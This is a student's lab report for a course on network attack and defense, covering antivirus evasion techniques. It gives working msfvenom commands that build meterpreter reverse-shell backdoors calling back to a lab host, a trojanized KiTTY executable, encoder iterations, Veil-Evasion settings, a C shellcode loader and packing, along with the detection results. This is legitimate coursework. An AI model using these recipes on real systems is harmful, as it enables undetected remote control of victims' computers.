2019-2020-2 20175313张黎仙《网络对抗技术》Exp3 免杀原理与实践
一、实验目标
- 了解恶意软件检测机制
- 学会使用msf、veil、加壳工具、C+shellcode等方法实现部分免杀
- 通过组合应用各种技术实现恶意代码免杀
- 掌握将生成的免杀程序注入目标机,并回连成功
二、预备知识
免杀概念
一般是对恶意软件做处理,让它不被杀毒软件所检测。
恶意软件检测机制
- 基于特征码的检测
- 恶意代码包含这样的数据
- 正常程序不包含这样的数据
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库
- 启发式恶意软件检测
- 根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。
- 典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 基于行为的恶意软件检测
从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
免杀原理及技术
- 改变特征码
- 只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 改变行为
- 通讯方式
- 尽量使用反弹式连接:meterpreter本身即主要使用反弹连接
- 使用隧道技术:如dns2tcp、iodine可将流量封闭为DNS协议包
- 加密通讯数据:如使用reverse-https进行转发
- 操作模式
- 基于内存操作:meterpreter是基于内存操作的操作的
- 减少对系统的修改
- 加入混淆作用的正常功能代码
msf的使用帮助
root @ KaliYL:/ home / YL#msfvenom -p windows / meterpreter / reverse_tcp -x ./KiTTYPortable.exe -e x86 / shikata_ga_nai -i 5 -b'\ x00'LHOST = 192.168.136.131 LPORT = 5313 -f exe> KiTTy_backdoor.exe
- 参数说明:
-p
使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。-e
使用的编码器,用于对shellcode变形,为了免杀。-i
编码器的迭代次数。如上即使用该编码器编码5次。-b
badchar是payload中需要去除的字符。LHOST
是反弹回连的IPLPORT
是回连的端口-f
生成文件的类型>
输出到哪个文件
三、实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil,加壳工具等单一方法实现部分免杀
实验要求
(1)正确使用msf编码器
- 使用
msfvenom -l encoders
查看可以用于生成后门的编码器
- 使用实验二生成的后门程序,放在VirusTotal上进行扫描,结果如下:
- 将编码一次生成的后门程序进行扫描,结果如下:
- 将编码十次生成的后门程序进行扫描,结果如下:
- 结论
- 对比上述三组实验结果,可知AV厂商研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。
- 还有模板。模板就是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。
- AV厂商还会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。
(2)msfvenom生成如jar之类的其他文件
- 生成jar文件
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.136.131 lport=5313 x> meter_backdoor_java.jar
- 生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.136.131 LPORT=5313 x> meter_backdoor.php
- 生成apk文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.136.131 LPORT=5313 R > meter_backdoor.apk
(3)veil
- 先输入veil指令,然后用use evasion命令进入Veil-Evasion
- 输入
use c/meterpreter/rev_tcp.py
进入配置界面 - 设置反弹连接IP
set LHOST 192.168.136.131
- 设置端口
set LPORT 5313
- 查看配置
options
- 输入generate生成文件,接着输入生成的文件名
- 验证生成的文件路径是否正确
- 扫描结果:
- 腾讯电脑管家查杀结果:
(4)加壳工具
- 压缩壳
- 加密壳
(5)使用C + shellcode编程
- 使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.131 LPORT=5313 -f c
用c语言生成一段shellcode; - 创建一个文件20175313zlx.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
...
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用命令:i686-w64-mingw32-g++ 20175313zlx.c -o 20175313_backdoor.exe生成可执行文件;
- 腾讯电脑管家和金山毒霸查杀结果:
(6)使用其他课堂未介绍方法
- 生成shellcode
msfvenom -p windows/meterpreter/reverse_https -e x86/xor_dynamic -i 5 -b '\x00' lhost=192.168.87.128 lport=5313 -f c -o shell.c
- c+shellcode用codeblocks编译,生成.exe
- 压缩壳
反而变成22/72,也许是压缩壳upx经常被使用,特征较为明显。
- Windows下软件查杀
任务二:通过组合应用各种技术实现恶意代码免杀
- 选择生成ruby程序
- 进行tcp_ssl连接
- 选择动态异或编译器
- 成功实现免杀
- 下载ruby编译器,编译生成exe
- 分别下载了金山毒霸和腾讯电脑管家进行测试,结果也都免杀成功。
- 腾讯电脑管家查杀结果:
- 金山毒霸查杀结果:
任务三:将生成的免杀程序注入目标机,并回连成功
- 金山毒霸,版本2017.6.16.18427
- 腾讯电脑管家,版本2.0.6.27
- 回连过程与实验二类似这里就不过多叙述,详情见实验二.
四、实验过程中遇到的问题
- 问题:
ip addr
找不到地址
- 解决方法:
- 进入root模式下,输入
vim /etc/network/interfaces
- 修改配置文件,在文件最后添加
auto eth0
iface eth0 inet dhcp
- 保存并退出后,输入
/etc/init.d/networking restart
重启网卡,就解决了。
五、实验思考
基础问题回答
(1)杀软是如何检测出恶意代码的?
通过恶意软件检测机制,进行检测。
- 基于特征码的检测
- 启发式恶意软件检测
- 基于行为的恶意软件检测
(2)免杀是做什么?
免杀就是通过对杀软检测恶意代码的方法进行分析,对恶意软件做处理,使其避免采用这些方法,从而达到让它不被杀毒软件所检测到的目的。
(3)免杀的基本方法有哪些?
既然杀软是通过上述恶意软件检测机制对恶意代码进行查杀,那么要达到免杀必然要对上面的查杀规则进行一定加工,使其无法让杀软检测出这些规则。
- 改变特征码
- 只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 改变行为
- 通讯方式
- 尽量使用反弹式连接:meterpreter本身即主要使用反弹连接
- 使用隧道技术:如dns2tcp、iodine可将流量封闭为DNS协议包
- 加密通讯数据:如使用reverse-https进行转发
- 操作模式
- 基于内存操作:meterpreter是基于内存操作的操作的
- 减少对系统的修改
- 加入混淆作用的正常功能代码
思考题
开启杀软能绝对防止电脑中恶意代码吗?
不能。
- 每一款杀毒软件都是针对一部分恶意代码进行设计的,对于形形色色的恶意代码,可能这个杀毒软件能杀出来,但另一个杀毒软件就不一定能杀出来,你又不可能把所有杀毒软件都装在电脑中。
- 再者说来,杀软的检测机制要求其实时更新,而对于一些高级玩家他们写出的恶意代码可能不具备这些特征,杀软照样无可奈何。
六、实践总结与体会
实验总结
实验体会
- 本次实验,主要费时间的就是veil的安装,以及构造免杀的恶意代码。
- 对于veil的安装,我只能说这真的考验人的耐心。在安装过程中,我都把一周的毛中特摘抄抄完了……,虽然它就三条指令,但是克隆是真的慢……
- 对于构造免杀代码,我真的是瞎猫碰上死耗子,这种我觉得也是纯粹靠运气。简单的不一定就容易被查杀,复杂的也不一定不容易被查杀。就拿我起初构造的免杀代码来说,简单c+shellcode,72个查杀出20个;我说加个压缩壳把,72个查杀出22个;我说再加个加密壳,72个查杀出24个……
- 当然通过本次实验,又加深了我对恶意代码的认识,每个实验都能学到不一样的东西,学无止境。